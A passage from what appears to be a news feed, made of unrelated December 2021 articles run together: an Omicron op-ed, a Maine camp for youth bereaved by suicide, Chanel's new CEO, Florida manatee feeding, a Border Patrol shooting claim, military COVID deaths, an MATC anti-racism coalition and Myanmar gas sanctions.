whether Omicron will be the last variant of concern. Another one could be around the corner. There would be much less anxiety, however, about any new variant if we had a joined up global health program in place: preparation can allay panic. Our goal must be to reopen society in a way that does not cause mass illness and death. SARS-CoV-2 is not going to be eradicated, and we need to plan and prepare for what lies on the other side of the current Omicron wave. We can aim for a situation in which COVID-19 still circulates but there is much less transmission and much less severe illness, hospitalizations, and deaths, perhaps with seasonal peaksa scenario akin to influenza. For that to happen, were going to need to vaccinate and boost the vast majority of people worldwide. A health worker prepares to administer a dose of Pfizer covid-19 vaccine to a girl at the Sanford Civic Center. With the emergence of the Omicron covid-19 variant in numerous countries, including the United States, the US Centers for Disease Control (CDC) encouraged all vaccinated adults to receive their Covid-19 booster shot. Paul Hennessy/SOPA If we can achieve that, and with Omicron as the dominant variant globally, in most cases getting infected would cause no symptoms or just mild ones, requiring just a few days off work. Perhaps youd wear a mask for a few days to protect others when you returned to the office. But in this scenario, one will be placing co-workers, andindirectlytheir families, at near-negligible risk of death. It is too soon to know whether three doses of vaccine will be enough to provide lasting immunity or whether, as with the influenza vaccine, well need an annual shot (potentially tailored to specific strains). There may continue to be localized outbreaks, especially in places with low vaccination rates, requiring local use of measures like masks and distancing to drive down transmission and to protect the vulnerable. Omicron is coming fast. We hope that it causes just a mild illness, but even this outcome could have massive health and societal impacts worldwide. Dont forget the great majority of people infected in the pandemic to date have experienced mild illness, and yet the virus has already killed about 800,000 in the U.S. alone. Omicron is teaching us a lesson: our only way out of this pandemic is through global, not national, action, to immunize and boost the world while also using other public health measures to drive down transmission and protect health systems. Omicron will be a harsh teacher. It remains to be seen if we can finally be good students. ACTON, Maine Maine based non-profit Camp Kita announces today that it now has 28.5 acres on Loon Pond in Acton, Maine, which will be the future home and campgrounds of the organization. This property, formerly home to Camp Nutter, allows Camp Kita to expand its reach as a tuition-free summer camp for youth who have lost loved ones to suicide. Camp Kita announces today that it now has 28.5 acres on Loon Pond in Acton, Maine, which will be the future home and campgrounds of the organization. Camp Nutter, the name for the property once owned by William S. Nutter and later donated by him in the 1930s, includes a few rustic facilities such as bunk cabins, indoor and outdoor communal spaces, and hiking trails, and has served as an important recreational center for countless individuals. The Camp Kita team plans to restore much of the existing infrastructure and build new structures, including bathhouses, a medical center, and a dining hall all while maintaining the history and charm of the site. Camp Kita will honor William S. Nutter in naming an important and meaningful campfire area, where the non-profit hopes many more memories will be made. Serving youth ages 8 to 17, Camp Kita was founded in 2013 by siblings Isaiah, Morgan, and Sydney Mosher, who lost their father to suicide when they were young. They started the organization to offer the support they wished they had had while growing up, all in a safe and beautiful camp setting. The Moshers, who were raised in York County, Maine, are eager to support and honor the Loon Pond community and to bring their campers to such a special setting. Were honored and excited to keep using the land as it was originally intended by maintaining it as a summer camp. This beautiful property will enable us to expand our mission of supporting youth in the aftermath of suicide, said Morgan Mosher, co-founder of Camp Kita. We envision Camp Kita becoming a respite for folks within the mental health space. We hope to partner with like-minded organizations to host retreats and seminars, and to enjoy nature. Were grateful to have a site with such a rich history and a strong network of people who care about the property as much as we do. Story continues Since its inception, Camp Kita has hosted its camps each summer by renting different facilities. In recent years, however, the group has had to limit applicants due to size limitations or availability of these facilities. Having a dedicated property of its own will allow the non-profit to host more campers, build a more consistent and impactful camp experience, and create a central place for camp alumni to gather and build memorials. Since 1937, the land has been a Pine Tree Council Property, owned and operated by the Boy Scouts of America (BSA). As part of the property sale, Camp Kita will continue to allow the BSA to use the facilities for many of their activities, and it hopes to partner with other local like-minded organizations throughout the year as well. The worthwhile mission of Camp Kita makes the Pine Tree Council excited about this new relationship, said Matthew Klutzaritz, Scout Executive/CEO of Boy Scouts of America, Pine Tree Council #218, Camp Kitas willingness to make certain Scouting has a place on the property not only ensures a Scouting presence but also provides an opportunity for Scouts to experience the significant infrastructure improvements they plan. The sale of the property was made possible through a transformational gift from Alexandria Real Estate Equities, Inc. As a mission-driven company, Alexandria is passionate about partnering with non-profit organizations, such as Camp Kita, that are driving solutions to societys most pressing challenges, including suicide and deficiencies in support for mental health. Alexandria is honored to partner with Camp Kita, and we share its deep commitment to support the needs of children who have suffered the tragic loss of a loved one to suicide, said Joel S. Marcus, executive chairman and founder of Alexandria Real Estate Equities, Inc. Suicide continues to be a leading cause of death in the United States among all age groups, underscoring the truly mission-critical nature of the work Camp Kita is doing. This is an incredibly heartfelt undertaking for us, and Alexandria is proud to support Camp Kita in growing its mission and impact with its new home in Maine. Having a dedicated space for these campers and other local organizations will have a positive impact on the community and those whom these facilities will serve. Camp Kita hopes to host its first campers at its new home in the summer of 2023, the organizations 10th anniversary. Additionally, the non-profit is launching a fundraising campaign to ensure it can continue to offer a tuition-free program to all its campers and to cover expenses associated with operating and maintaining the property. We look forward to speaking with individuals and businesses on how they can become a part of our future home, memorialize loved ones, and support suicide survivors and mental health services, said Sydney Mosher, co-founder of Camp Kita. For more details on ways to give in support of the new site, including by purchasing naming opportunities, or to donate to Camp Kita, please visit campkita.org/loon-pond or email info@campkita.com. This article originally appeared on Portsmouth Herald: Local non-profit for youth impacted by suicide grows mission The Daily Beast Family handout via Atlanta PoliceAuthorities have identified a suspected killer in the 1995 cold case of a teenage girl who was en route to school when she was raped and shot twice in the face by a man who then eluded investigators for 26 years.Atlanta police say Kelvin Arnold, 49, who died in 2021 before he could be identified, brutally assaulted and fatally shot 14-year-old Nacole Smith on June 7, 1995, as she tried to shortcut through a wooded area on her way to school.There are literally bo NEW DELHI (AP) The luxury fashion house Chanel has chosen Leena Nair, an industry outsider from India and longtime executive at Unilever, to be its new CEO. Analysts say her hiring signals how the brand is accounting for changing consumer awareness of the industrys environmental impact and the importance of diverse hires. Nair tweeted that she was humbled and honored to be appointed the Global Chief Executive Officer of @CHANEL, an iconic and admired company. The news made a huge splash Wednesday in India, Nairs birthplace, where she received scores of congratulations and compliments to her announcement, one calling her a serial glass-ceiling breaker. The appointment is full of historic firsts," said Abhay Gupta, CEO and founder of consultancy group Luxury Connect in India. I am elated. This is the first time an Indian is heading a global luxury brand, that too an Indian woman, and its the first time a fashion industry outsider has been picked, he said. People of Indian origin are at the helm of a number of global tech, finance and other companies, but the same cant be said for luxury brands. Gupta, who also runs a school for luxury management, said his students would be inspired by the news. Its very encouraging and motivating, especially since we havent seen this before. Coming from a non-luxury background, I expect shell bring fresh perspective its a sign that things are changing, he said. While Nair, 52, is not a part of the Paris fashion scene, Chanel has a wide range of products in addition to its high fashion designs, including eyeglasses, watches and makeup. Nair is succeeding billionaire co-owner and chairman of privately held Chanel, Alain Wertheimer, as CEO. A grandson of Chanel co-founder Pierre Wertheimer, he remains as global executive chairman of the fashion house. In a press announcement, Chanel said Nair's hiring will further ensure long-term success as a private company." Nair is due to step into her new role in January and shell be based in London. Story continues British consumer goods giant Unilever describes Nair as its first woman, first Asian and youngest chief human resources officer. She joined Unilever in 1992 in India and advanced up the ranks, spending time at the company's factories early on. Nair's appointment is a welcome change from the kind of formulaic model of the executives that tend to run major luxury brands, said Imran Amed, founder and CEO of the Business of Fashion, an influential industry news website. While its not uncommon for fashion brands to tap people from consumer goods companies for senior jobs, they usually come from marketing departments because of their expertise in managing brands a luxury fashion companys most important asset. But Chanels decision to hire Nair, with her lengthy background in human resources, underscores the companys efforts to adapt to evolving consumer and workplace attitudes toward sustainability and diversity, Amed said. Rivals like Kering, which owns Gucci and Yves Saint Laurent, have moved faster to stake out leadership positions when it comes to both rising consumer awareness of the industrys environmental impact and the importance of inclusive hiring as they battle for talent, Amed said. Nair has really been focused on these kinds of topics during her time at Unilever, Amed said. I think that that signals a really important challenge for Chanel as it seeks to modernize its corporate culture. Her appointment is seen back home as a sign of the rising stature of Indian business leaders. It's also a milestone for women, because so few of them head up big luxury brands, Amed said. In her social media posts, Nair, who is married to financial entrepreneur Kumar Nair and has two sons, has described India-born former PepsiCo CEO Indra Nooyi as a friend and mentor. Nair herself recently was awarded the Great British Businesswoman Role Model of the Year award. But she is not the first woman to be CEO of Chanel. Earlier, Francoise Montenay and American Maureen Chiquet held that role. And of course, the co-founder of Maison de Chanel was a woman, the late Gabrielle Coco Chanel. ___ AP Business Writers Kurtenbach reported from Bangkok and Kelvin Chan contributed from London. Carol McLeod Have you ever wondered about something that has no answer? Or at least, no established, widely accepted answer. For example, have we been visited or are we being visited by extraterrestrials? How does one know? I've never seen anyone from another planet; but, does that mean none exist? I wouldn't think so. I've never seen a camel; but, I'm fairly certain such animals exist. Why, though? Simple. I've seen photographs and read articles that confirm camels exist. Mainly, there isn't anyone screaming that camels aren't real, no one is suing the government to release secret documents regarding camel reports. I haven't seen any videos disputing the idea of camels. I think that makes it easy to accept camels exist; but, it's different from when we talk about extraterrestrials and space ships. They're here; they're there; they're everywhere; they're everywhere. Nope. It's a weather balloon. It's sunlight reflecting off birds. It's a mirage. If I knew everything, I'd know if there are extraterrestrials on Earth. I'd know if they've been here before. I'd know what they're planning, why they're here. We can't be that interesting. I mean, you and I might think we are; but, if I could fly all over outer space, I think I could find much more fascinating things in the universe. On second thought, our mundaneness could just be the attraction. What do we humans enjoy doing for fun or for relaxation? I, for one, enjoy goofing off. Lying on the beach watching the waves? Groovy. Sitting on the front porch in a rocking chair? Double groovy. So maybe having creatures from other planets coming here doesn't have anything to do with us. I've always wondered if we're making too much out of this idea of extraterrestrials. What if they're really terrestrials? This is their home. too. They're just much, much more advanced than we are. Thousands of years ago, they were the highest form of life on the planet. Some stayed here maybe; but, lots of others went off out into the universe. When they came back, we were here. Now they're just trying to figure out how we got here. It could be they are really Earth creatures; and, they think we are usurpers. We got dropped off by creatures from another planet and forgotten. That would be quite a twist, wouldn't it? And if I knew everything, I'd know. This article originally appeared on Augusta Chronicle: What would Mama say? If I knew everything A Santa Rosa County grand jury on Tuesday indicted John Patrick Guillebeau on first-degree premeditated murder charges in the death of his childhood friend. Guillebeau, 60, allegedly shot and killed 67-year-old Victor Stephen Trial at the victims Navarre Beach residence on Nov. 14. Santa Rosa County Sheriffs Office said last month in a news conference that the two had grown up together in a small town in Georgia. Santa Rosa County Sheriff Bob Johnson announces the arrest of John Patrick Guillebeau in the death of Victor Trial during a press conference on Nov. 22. 'Pretty unique case':Childhood friend killed Navarre Beach man, sheriff says Case opened: SRSO opens homicide investigation after 67-year-old man found dead at Navarre condos Authorities would not go into detail about what allegedly made Guillebeau shoot his friend. First responders found Trial dead from a single gunshot wound to the back and a spent .45 caliber shell casing inside his apartment. Guillebeau was later arrested in Alabama and extradited back to Florida to face trial. His arraignment is set for Dec. 30, according to State Attorney Ginger Bowden Madden's office. This article originally appeared on Pensacola News Journal: John Guillebeau indicted on murder charges in Victor Trial homicide Wildlife officials were poised to begin feeding wild manatees Wednesday at a carefully selected Brevard County power plant. Equipped with refrigerated storage and 550 pounds of romaine lettuce, the logistics were all in place for an unprecedented experimental feeding trial to begin. The only thing missing? Manatees. That's according to Gil McRae, director of the Fish and Wildlife Research Institute, in an address to the Florida Fish and Wildlife Conservation Commission in Destin. Stop the starve: Unprecedented: Officials approve feeding of starving manatees in limited trial Winter is coming: Manatee deaths have slowed, but experts are bracing for a deadly winter. Here's why. A new hope: Manatee released into Martin County waters brings hope during a tough year for Florida icon A dead manatee was found floating on its back in a canal at the Mariner Cay Marina in Stuart on Monday, March 29, 2021, by resident Julia Sansevere, who reported it to the Florida Fish and Wildlife Conservation Commission. Its cause of death is unknown. Where the manatees aren't Manatees tend to gather at unnatural warm-water outputs, like power plants, when the water temperature dips below 68 degrees Fahrenheit, McRae said. But December has brought a mild winter so far, and water temperatures in the Indian River Lagoon currently average about 72 degrees Fahrenheit or higher, according to McRae. That means sea cows are still out and about. "The manatees aren't there," McRae told wildlife commissioners. "As of today, we do not have the manatees aggregating in large numbers because of the warm water temperatures. And that's a good thing." "Our concern is the combination of available forage not being there in some areas, especially in the central and northern Indian River Lagoon," McRae said. "The longer it stays warmer the more distributed the manatees will be, and that's likely to keep down rescues and mortalities for the short term." A lone manatee swims in the waters of Round Island State Park on Friday, March 19, 2021, in Indian River County, Fla. A decline in seagrass habitat is leaving manatees without adequate food supply as Florida manatees died at an average rate of over six a day in the first two months of 2021. The concern over a lack of food source led to the creation of a "temporary field response station" at the Florida Power & Light Cape Canaveral Clean Energy Center bordering the Indian River Lagoon. There, an epicenter of warm-water refuge provides the ideal spot for wildlife experts, including the U.S. Fish and Wildlife Service, to begin their first-ever feeding experiment. Story continues "We are prepared now to initiate these feeding efforts," McRae said. Responders were on site Wednesday prepping, but they have not put any lettuce in the water yet, FWRI spokesperson Carly Jones said. Food-of-choice is leafy greens Wildlife officials have worked in tandem with many of the state's rehabilitation sites to put in place their feeding plan. Those sites include Jacksonville Zoo, Zoo Tampa at Lowry Park, Miami Seaquarium and SeaWorld in Orlando. "All of these areas have had manatees in captivity for decades. They're used to feeding them, caring for them and getting them back out in the wild," McRae said. "So the feed we've chosen and the methods of feeding all have been informed by that decades of experience with those partners." With their input, experts have decided to place manatee food in floating PVC squares to avoid as much human-to-animal contact as possible, McRae said. The food would be placed in the morning, and biologists would measure how much food was eaten at the end of the day. Wildlife officials last week agreed on leafy greens, like romaine lettuce, as the food-of-choice for wild manatees, according to FWC. The agency says it's the best choice to provide nutritional value, help with hydration, and have the least potential for negative health impacts on the animals. The food will be sourced from farmers operating under U.S. Department of Agriculture standards for human consumption, according to the FWC. Some farmers have offered to donate their produce, but so far the agency has not received any formal donations, according to spokesperson Carli Segelson. The "Unified Command" team of state and federal wildlife officials paid $250 for 550 pounds of romaine lettuce from Belle Glade-based TKM Farms, Segelson confirmed to TCPalm. Remember: It's still illegal for the general public to feed wild animals. Doing so could result in a $500 state fine and/or up to 60 days in prison. Violating federal species protection laws is punishable by fines up to $100,000 and/or a year in prison. Is more funding on the way? A record 1,056 manatees have died in Florida waters so far this year, according to FWC data. That's nearly double the five-year average of 570 sea cow deaths through Dec. 10, according to wildlife data between 2016 and 2020. Biologists point to decades of seagrass loss a result of human-caused pollution as a catalyst for starvation and malnutrition. Gov. Ron DeSantis' budget proposal unveiled Thursday includes roughly $3.8 million for manatees this upcoming year. The majority of that funding about $2.9 million is for expanding the state's network of care facilities to rescue and rehabilitate struggling sea cows. The proposal also includes $718,000 to improve manatee monitoring and research and $160,000 for management such as aerial surveys. It also calls for the creation of two full-time positions for manatee rescue and mortality response. "More must be done to proactively address that root cause.. which is water quality degradation and habitat loss," Elise Bennett, a senior attorney for the Center for Biological Diversity, told wildlife commissioners. "This is a really alarming and heartbreaking time for Floridians who care about manatees and for the manatees themselves." FWC commission chair Rodney Barreto of Miami said the manatee survival crisis is one of utmost importance. "The eyes of the world are upon us," he said. "We have to get this right." Staff from the Miami SeaQuarium and the Florida Fish & Wildlife Conservation Commission prepare to return a manatee back into the St. Lucie River on Wednesday, Nov. 3, 2021, at Shepard Park in Stuart. The manatee was rehabilitated back to heath after suffering a watercraft strike on May 12th. For more news, follow Max Chesnes on Twitter. Max Chesnes is a TCPalm environment reporter focusing on issues facing the Indian River Lagoon, St. Lucie River and Lake Okeechobee. You can keep up with Max on Twitter @MaxChesnes, email him at max.chesnes@tcpalm.com and give him a call at 772-978-2224. Read more of Max's stories. This article originally appeared on Treasure Coast Newspapers: Manatee feeding: Program not exactly off to a great start, says FWRI PHOENIX (AP) Attorneys for a Mexican woman who was shot in the head by a Border Patrol agent and survived announced Wednesday that they filed a claim against the U.S government as a precursor to a federal lawsuit. The claim filed with the Border Patrol by Marisol Garcia Alcantara, who had arrived in the U.S. shortly before the shooting over the summer in Nogales, Arizona, is necessary before a civil action is filed next year with the U.S. District Court in Tucson. I want to know why, why did they do that and why me? Garcia, 37, said in an interview last week from her family home outside Mexico City. I am looking for justice. I want an apology from that person and help for medical care and medicine because I cant work," she said. The bullet entered Garcia's head above her left eye and fragments still remain in her brain, putting her at risk of seizures. She said that a half-year later she still suffers from loss of memory, dizzy spells and headaches. Customs and Border Protection, which oversees the Border Patrol, said the agency could not comment because the shooting was still being investigated internally by its Office of Professional Responsibility. It will also be reviewed by the CBP's National Use of Force Review Board. The agents identity has not been revealed. Garcia's legal team have said the Border Patrol is not in a position to impartially investigate the June 16 shooting. They point to longstanding concerns over Border Patrol units known as Critical Incident Teams, which collect information about agents use of force. Detractors call them shadow units that may impede investigations into whether agents actions are justified. Attorney Eugene Iredale, who is representing Garcia, called the teams the administrative equivalent of an anti-internal affairs squad designed to protect the agency from liability. The Southern Border Communities Coalition, a nonprofit advocacy group, on Wednesday reiterated calls for a congressional investigation into the shooting and the Critical Incident Teams. Story continues This incident is not unique, said Rep. Raul Grijalva, a Democrat who represents southern Arizona and supports such an inquiry. This is a pattern that needs to be dealt with. CBP said the Critical Incident Teams do not lead investigations, but rather collect evidence for other agencies, in this case under the direction and supervision of the FBI. Garcia said American officials never asked her about the shooting. No one investigated, she said. I returned to Mexico without making a declaration. Garcia said she had gone to the U.S. to visit her mother and look for work to support her three daughters. Shortly after arriving in the U.S., she was among a group of people riding in a SUV in the border city of Nogales, Arizona, sitting behind the driver. She heard a siren, felt pain in her head, and her vision blurred while people in the vehicle tended to her wound. She was rushed to a nearby hospital then flown by helicopter to another one in Phoenix where she had surgery that night. Garcia said after two days in Phoenix, she was taken to a detention center for several weeks until she was sent back to Mexico. The announcement of the claim comes just days after Chris Magnus, the reform-minded Tucson police chief, was sworn in as CBP commissioner. Magnus updated Tucsons use-of-force policies and made many other changes during his time with the department. ___ Associated Press writer Elliot Spagat contributed to this report from San Diego. Eighty troops have died of COVID-19 complications, according to the Defense Departments most recent data, including five deaths in November and three so far in December. November did see a two-week period without deaths, following a spike in deaths that began in late July, resulting in double-digit monthly deaths through October. While that number has come down, the services are still experiencing one of the most deadly periods of the pandemic, after seeing only one or two deaths for most of 2020 and the first half of 2021. None of the troops who have died have been fully vaccinated, though two were partially vaccinated at time of death, according to the Office of the Secretary of Defense. The most recent deaths include: Electronics Technician 1st Class William E. Matthews, 47, of Navy Reserve Center Fort Worth, Texas, died Nov. 24. Army Reserve Lt. Col. Ryan Myers, 50, of the 75th Innovation Command in Houston, Texas, died Nov. 25. Air Force Tech Sgt. Nevin Tauchus, 30, of the 822nd Base Defense Squadron, 93rd Air Ground Operations Wing at Moody Air Force Base, Georgia, died Nov. 26. New Jersey Air National Guard Tech Sgt. Sean Romero, 44, of the 177th Fighter Wing, died Dec. 3. Army Reserve Sgt. 1st Class Ray Vucinaj, 50, of the 5032nd U.S. Army Reserve School in Flint, Michigan, died Dec. 11. With 80 deaths and 258,800 cases overall, the militarys COVID-19 mortality rate sits at 0.03%, well below the 1.6% mortality rate in the U.S. overall. Following the late summer and early fall surge in military deaths, which saw a height of 15 fatalities in September, deaths have dropped as more and more troops have gotten vaccinated. Pentagon & Congress 5 more states challenge Pentagons COVID-19 vaccine mandate for Guardsmen Defense Secretary Lloyd Austin announced in late August that all troops, active and reserve, will be required to receive a vaccination or have an approved exemption. As of Wednesday, 69% of the total force is fully vaccinated 1,588,965 troops with another 326,967, or 14%, having received the first of a two-dose regimen. Wednesday also marked the active-duty Armys vaccination deadline, leaving the Navy and Marine Corps Reserve to finish up by Dec. 28, and the Army Reserve and National Guard until June 30 to comply. All of the services have put out guidance stating that those who decline vaccination will be flagged in some manner, with involuntary separations to follow. The Air Force confirmed Tuesday that it had discharged the first 27 of its non-compliant airmen, all of whom were still serving on their initial enlistments. The Daily Beast Former president Donald Trump's decision to abruptly cancel his Jan. 6 counter-programming event has left key allies Peter Navarro and Steve Bannon fuming.Responding to reports that Trump was pressured into canceling by several allies in his inner circle, the pair suggested the ex-president is surrounded by insufficiently pro-MAGA individuals, and that he should put his once-slated presser back on the books immediately.There are still too many people around Donald John Trump that are not Trumpe Walter Lanier, a leader of an MATC employee group called the African American Network, addresses members of the media at a press conference Tuesday. AAN and other campus groups are members of the new MATC Anti-Racism Coalition. Several Milwaukee Area Technical College student and employee groups announced Tuesday they had formed a coalition that will address institutional racism on campus. The announcement is particularly significant because it comes nine months after the revelation that a Black leader vice president of enrollment management Amir Law resigned after less than a year due to a "lack of respect, empathy, and acknowledgment of the adverse treatment of Black employees on campus," according to an email he sent to university leaders. Law's resignation was one of several incidents that members of the African American Network employee group raised with MATC President Vicki Martin in a February letter that was later obtained by the Journal Sentinel. The letter sparked meetings between the group and college leadership, which acknowledged generally that the college has "work to do" when it comes to improving campus climate. The MATC Anti-Racism Coalition took its first action by releasing a statement Tuesday calling on college leaders to "listen and act on the recommendations of those who have been burdened by racism in the institution as well as those who have worked to identify it." "MATC has the potential for greatness, but we will not achieve it without intentionally, persistently, and fearlessly addressing our institutional history and challenges related to racism," the statement reads. More: After one of MATC's only Black leaders resigned, more employees are raising concerns about college's racial climate Joining the African American Network as members of the new coalition are MATC's two labor unions one that represents faculty and one that represents staff the newly formed Latinx United Network Alliance employee resource group, and the Black Student Union and Latinx Unidos student groups. The coalition's recommendations for MATC leaders include creating consistent standards for employee discipline and advancement, and working on better incorporating conversations about race into the curriculum. The coalition also called for developing "the institution's capacity to discuss, learn and teach about the pervasive racism that is present in MATC's practices, policies and language." Story continues Walter Lanier, a co-chair of the African American Network, acknowledged recent progress by the college, which included the hiring of its first-ever diversity, equity and inclusion executive and joining the "Moonshot for Equity," a partnership between four regional colleges to eliminate educational opportunity gaps by 2030. But he said it was critical for stakeholders from across the college from students to building technicians to faculty to work together to push for further change. "We have the most unique opportunity in the state of Wisconsin to maximize and leverage the rich diversity across race, creed, color, religion, ethnicity, economic status there is none like us," said Lanier. "But we have to go faster and we have to go further." MATC President Vicki Martin was present at the press conference. "What we're really here to do is to work together to figure this out," Martin said. "To listen, to come up with what are those strategies that will move us quickly. We feel like we've been bold in many of our initiatives and we're going to continue to be bold." MATC President VIcki Martin responds to the formation of a new effort by employees and students to combat racism on campus. She welcomed the unified effort and the opportunity for future conversations with the coalition. "I'm actually looking forward to it," she said. More: Four Wisconsin colleges form first-ever alliance in nation to attack racial equity gaps More: MATC's full tuition Promise program to include adult students who earn high school equivalency Martin commissioned a task force on diversity, equity and inclusion that is working to audit areas of the college and to create a campus-wide plan for diversity efforts. Eva Martinez Powless, the college's new chief diversity, equity and inclusion officer, said that committee will vet and consider the anti-racism coalition's demands as part of developing that plan. Eryka Cunningham, a human service major and Black Student Union president, said she's heard from many students of color who "feel unheard, and they feel they have no voice," especially during the COVID-19 pandemic. "This is a call to do more, and to do better," Cunningham said. "Not just for my organization ... but students and generations to come." Contact Devi Shastri at 414-224-2193 or DAShastri@jrn.com. Follow her on Twitter at @DeviShastri. Our subscribers make this reporting possible. Please consider supporting local journalism by subscribing to the Journal Sentinel at jsonline.com/deal. DOWNLOAD THE APP: Get the latest news, sports and more This article originally appeared on Milwaukee Journal Sentinel: MATC student, staff and faculty groups form anti-racism coalition JAKARTA, Indonesia (AP) The young woman in Myanmar decided to speak out when she realized that money from the company she loved was now in the hands of the military leaders she hated. She and her parents had long worked for Total Energies, the French company that operates a lucrative gas field off the coast of southern Myanmar with a state-owned enterprise. But in February, the military took over Myanmars government and its bank accounts, including those that receive hundreds of millions of dollars each year from the Total gas field, known as Yadana. As military abuses such as the murder and detention of thousands have grown, the young woman joined others across Myanmar in a groundswell of support for targeted sanctions on oil and gas funds, the countrys single largest source of foreign currency revenue. But Western governments most notably the United States and France have refused to take that step amid lobbying from energy company officials and resistance from countries such as Thailand, which gets gas from Myanmar. On Friday, the U.S. announced a raft of sanctions against several Myanmar officials and entities, but again left out oil or gas revenues. The young woman chanted slogans outside Total's offices, and later protested the military's takeover. She said she has since lost her job, and was thrown into prison for three weeks. We had a good relationship and good memories of Total, said the young woman, whose name, like those of other Myanmar gas workers in this story, is being withheld by The Associated Press for their safety. Total has taken a lot from Myanmar....so they should at least help Myanmar with a little bit of effort during such a bloody period in our country. In recent months, the Myanmar publics cries for sanctions on gas revenues have grown thunderous. In August, activists launched the Blood Money Campaign movement, risking their lives by marching in the streets and carrying signs that read: Freeze payments to junta and save Myanmar. Others posted photos of themselves on social media holding signs that targeted the gas companies at the center of the debate: Total, Chevron Stop accessory to murder. Story continues The United Nations top expert on human rights in Myanmar says millions of people across the country are imposing personal sanctions by withholding taxes, refusing to pay power bills and boycotting products linked to the military. And on Nov. 30, 540 civil society organizations in Myanmar joined international colleagues in sending a letter to CEO Patrick Pouyanne asking Total to put an end to its complicity in crimes against humanity by making payments to a holding account. The letter argued that Total is violating local laws against misappropriating public money and has placed itself on the side of the junta. The AP also obtained a copy of a letter from workers at Yadana to their managers earlier this year calling on Totals subsidiary, Total E&P Myanmar, to suspend export payments to the military, place the funds in a protected account and freeze income tax. We are specifically concerned that the profits gained from Yadana Project, which we are working for, will, one way or another, help fund the military juntas violent repression of Myanmar people, the letter said. Total and Chevron say they condemn human rights abuses, but also want to prevent further harm to the people of Myanmar by cutting off electricity. In addition, Total said it is wary of putting its local employees in danger of reprisals from the military, including forced labor. Meanwhile, tolerance on the ground for global inaction has worn thin. Local armed groups, referred to as People's Defense Forces, have targeted bill collectors for the national utility and sabotaged buildings and infrastructure, according to EarthRights International, which works on environmental and human rights issues in Myanmar. Pro-sanctions activists do not want to shut down the gas field itself. Instead, they want to sanction the projects revenues and place them in a protected offshore bank account that the military cant touch. The sanctions would target the state-owned Myanma Oil and Gas Enterprise (MOGE), which is a joint venture partner in all offshore gas projects in Myanmar, including Yadana with Total, Chevron, and Thailands PTT Exploration & Production. Total has a majority stake in the venture and runs its daily operations, while MOGE collects revenues on behalf of the government. Gas from Yadana is piped to Myanmar and neighboring Thailand. Total cancelled exploration for new deposits in Myanmar after the military takeover. But it argues that it has to pay taxes and respect its contracts under the law, and that it will donate the equivalent of the taxes to human rights associations in Myanmar. Total said it would willingly comply with any new international sanctions, which would override local laws that govern its contracts in Myanmar. In particular, should MOGE be under economic sanctions it would oblige all parties to put all cash flows due to MOGE in an escrow account, the company told AP in a statement. We have taken all possible measures under our control and respecting the legal framework without putting our staff at risk. Several smaller offshore gas fields also operate in Myanmars waters, run by companies from Thailand, Japan, Malaysia, India and South Korea in partnership with MOGE. And China is an investor in the pipeline that delivers the gas to the country. About 50 percent of Myanmars foreign currency comes from natural gas revenues, with MOGE expected to earn $1.5 billion from offshore and pipeline projects in 2021-2022, according to a Myanmar government forecast. The Yadana gas project and pipeline is particularly important, earning around $400 million in revenues in 2017-2018. Yet despite the growing calls for action, neither U.S. President Joe Biden nor French President Emmanuel Macron have publicly moved against Myanmars oil and gas revenues. The current sanctions from the U.S. and European Union lean heavily on gemstones. The U.S. State Department did not directly address APs questions about why it has yet to impose sanctions on MOGE. Instead, the department pointed to a list of other people and entities the U.S. has already sanctioned, including several military officials and their family members, two army units believed responsible for a litany of atrocities, the militarys two largest holding companies and a state-owned gems enterprise. We will not hesitate to take further action against those who perpetrate violence and suppress the will of the people, the department said in a statement. U.S. Secretary of State Antony Blinken said Wednesday that the Biden administration is weighing tough new sanctions on Myanmar to pressure the countrys military leaders to restore a democratic path. He did not mention oil and gas sanctions. An aide on the House Foreign Affairs Committee acknowledged that oil and gas make up a huge chunk of the militarys ability to maintain control. Despite that, a measure introduced in the House in October that specifically calls out MOGE as a potential sanctions target has yet to advance. The aide, who spoke on condition of anonymity to describe the thinking around the legislation, said objections from Singapore and Thailand have played a role in the Biden administrations hesitation to impose new sanctions, as has lobbying from Chevron. Activists have accused Singapore's banks of holding assets on the Myanmar military's behalf, although its central bank has said regular surveillance showed Myanmar companies and citizens did not have significant funds in the city state. In the first half of 2021, Chevron reported spending $3.7 million on federal lobbying in the U.S., with Burma Energy Issues and Myanmar Energy and Investment Issues listed as specific lobbying areas of focus. It certainly seems in the U.S. there is a major lobbying campaign going on from Chevron to try and protect its interests, said Chris Sidoti, a human rights lawyer and a member of the U.N. Fact Finding Mission on Myanmar from 2017 to 2019. In response to questions from the AP, a spokesman for Chevron pointed to an earlier statement from the company, which said Chevron would comply with any sanctions imposed by the U.S. Any actions should be carefully considered to ensure the people of Myanmar are not further disadvantaged by unintended and unpredictable consequences of well-intentioned decisions, Chevron wrote in its May statement. The French government also said it wants to avoid adding to the burdens of Myanmar civilians through sanctions and aims to target individuals from the junta rather than a vital economic sector. France wants to avoid normalizing relations with the junta but also wants to stay involved on the ground for humanitarian reasons, which requires operational contacts with Myanmar's administration, according to a senior official in the French president's office. He described the French government's thinking on condition of anonymity. He said Total's activities in Myanmar, including how it carries out payment for the gas, are the company's responsibility. Both the French government and Total want a return to a democratically elected government, but at the same time you have to take into account the reality on the ground," he said. French authorities have told activists that Europe is expecting to impose a fourth round of sanctions by Feb. 1, the anniversary of the militarys takeover, and that both the energy and banking sectors are on the table. MOGE can be targeted for sanctions without interrupting the flow of energy, said Tom Andrews, the United Nations special rapporteur on Myanmar. The people of Myanmar are not calling for anything that they, themselves, are unwilling to do, Andrews said in an e-mail to the AP. But the fact remains that to be truly effective, the people of Myanmar need countries to join them and impose sanctions on MOGE. Human rights activists say its unconscionable for any company to help fund a military that has, in recent months, engaged in mass torture, launched attacks on medics, forcibly disappeared thousands of people, and returned mutilated corpses to victims families as tools of terror. Since February, soldiers and police have killed at least 1,300 people and arrested more than 10,800, according to the Assistance Association for Political Prisoners, which monitors deaths and arrests. Last month, the National Unity Government, an underground opposition group and parallel administration, released a public statement that dubbed MOGE the militarys most important financial lifeline and called for urgent sanctions. As a nation, we have these natural resources to build a school, to build a hospital, to build a road, said spokesman Dr. Sasa, who goes by one name. So why are we still using this money to kill the people of Myanmar? To us, it is barbarity. In response to questions, the military said state revenue is used for education, infrastructure, development projects and public service, and is also used proportionately for the rule of law and for defense. The military has long denied allegations of human rights abuses. All state revenue is spent according to the needs of the country, the military said in a statement to the AP. "Putting restrictions on the current government is directly affecting the social and economic life of the citizens. The Yadana project provides less than 1.5 percent of Chevrons worldwide natural gas output, and Total says Yadana represents less than 1 percent of its production. But while Yadana isnt a significant source of income, it also doesnt cost the companies much because major set-up fees were 